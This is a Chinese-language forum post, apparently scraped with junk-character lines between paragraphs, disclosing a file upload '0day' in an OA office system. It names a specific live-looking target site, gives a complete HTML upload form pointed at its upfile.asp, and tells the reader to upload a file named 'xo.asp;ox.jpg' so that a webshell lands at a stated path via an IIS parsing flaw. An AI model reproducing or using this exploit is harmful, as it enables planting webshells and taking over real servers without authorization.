全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
% k. p+ `2 a6 B! E8 I​
9 T' I" R1 r& F* ]: z系统介绍：
$ p% R) A( `- \* c' y, O
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
" z/ j4 o  ^( b0 z* {) L* }3 r
: _; O& H1 X" C) F- F3 V+ Z主要功能：
: X  E: _7 I3 c7 L  S! M3 x) f公司通告
工作计划
% r: T3 ^0 S2 H4 m通讯助理
客户资源
2 L. K9 B  U( q, T( q" m/ X0 {' l  G) x我的公文
公文传阅
) a, f" X8 X; ~/ ~" g公共资源
: V" |; D% `; b8 R7 x+ B6 u4 |资源预约
今日考勤
个人计划
个人通讯录
个人基本档案
) C2 z- ?' R$ k; |- g# ^$ Q( P# @未读邮件
' y" L- h8 v) Y7 J2 z发邮件
4 h3 L! Z& g- L+ @+ F! d* w收件夹
5 l: P" f% s+ W- ?寄件夹
网络硬盘
0 G) j& E7 c1 ]3 W* ~4 R网络会议
8 }- g4 a! C" L; w4 K网络调查
交流论坛
4 A$ w7 |7 [' v/ T- g
2 r2 i) L3 J- Z( o有兴趣测试的朋友可以下源码看看

源码下载：
% ^8 I9 n1 B9 D" |" C% c& L
4 m) x# u& `4 A) _% q: Ghttp://www.mycodes.net/30/4750.htm
7 t) T# S, D; k4 J  R' a
- ?! e- T+ s( f1 L' i漏洞介绍：
# d) E( O( U1 {# d4 h
由upfile.asp上传文件漏洞引起
* H5 z/ l6 t0 B
2 Y3 x0 Q& f" R8 S测试方法：
% i; N* ]7 y# M( A
: ~/ t; A) ^9 u# v4 w使用名小子上传http://www.itlynn.com/upfile.asp即可
8 `7 n6 j7 p3 ~% p2 P/ r
& n" B% u+ g# a8 D. C如果upfile.asp文件被删除不存在。

7 A" j2 h' K9 f3 T$ m  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

" e/ m8 \0 D% y  B! t如果存在那么将如下代码保存为upfile.html。
, A4 ]9 ~  u0 Y" X# `
, z) u3 `) B1 o9 _/ W然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
: T; a' J, n/ M% N$ U% V# e4 a3 x  |
3 N; d# Q2 A! ?) ]7 T7 v
& a: e8 m2 R: ]8 h# {
01 <table border='0' align="center" cellpadding="5">
1 }# `/ }% R- ], p
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
; h3 \0 T" R7 J2 S. y) N
, M* b" ^3 ~9 ^& Q/ M& \# @- g+ J03 <tr>

04             <td>报错：</td>
2 r- W) H) y, X7 d0 Q3 b
05             <td><input type='radio' name='errnumber' value='0'>
. U- X; O5 Z3 C  n( B  I0 P
* t1 i: V3 b0 h, W7 Y06               自动更名

- N: b. j  Y' U* A6 r4 r% A' e( j07               <input type='radio' name='errnumber' value='1' checked>
5 Z# x  \; z  F' a9 P
& R- J+ Y" F" B/ S08               报错方式
! ?/ q5 p1 \* J# u: N/ d; P/ e5 M
09               <input type='radio' name='errnumber' value='2'>
! n& m" @1 ?2 r/ H5 ~* M+ j6 Z
; I, V2 L, Z& v" B6 u10               直接覆盖</td>
( W% u5 a+ Y* [! i4 K! }
% ?* M" n  B, v/ B3 B11           </tr>

% R, r7 T7 v* c2 P6 X' R2 W12           <tr>
  u  x, |! A7 ^. y9 J* O5 t" t& i
1 E8 q) D0 f% d( U" }6 r13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>
/ D% Z$ {% Y/ B
, V" z4 ?5 {9 @3 D$ y1 O15           </tr>

7 C* V1 ~) h- e16           <tr>

, m4 z4 w, C+ e- r; V17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>

% I$ J9 E, Z4 n# |7 p. R: ^! n19           </tr>

! D3 e: s3 [/ y0 v9 ~/ v( Q9 O20           <tr>

/ b6 u7 W4 F7 ~1 U% y; w, p6 A21             <td valign='top'>简介：</td>
8 e! T( L, V8 W' g
4 W8 W3 |) G% N22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>
$ W# l1 c1 b! s0 W+ A  X$ _
24   
" ^+ z( ^/ g2 m1 c' a
* I! L( `! c! p% [25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
2 z9 }, q4 ~( Q3 U$ m
! z( z8 |# A# \" Z26           </tr>

27         </form>
# y% ]! n  X0 u  b( E
- r3 W! x( C/ G$ L然后打开上传一个文件名为xo.asp;ox.jpg的文件。
" T1 n5 G; D8 u  d0 _
/ A% |8 C: f: L' E

上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
( O1 |8 e. U6 z% F* f
此漏洞需要配合解析漏洞利用。

! d) Q6 ~: m( J6 |  i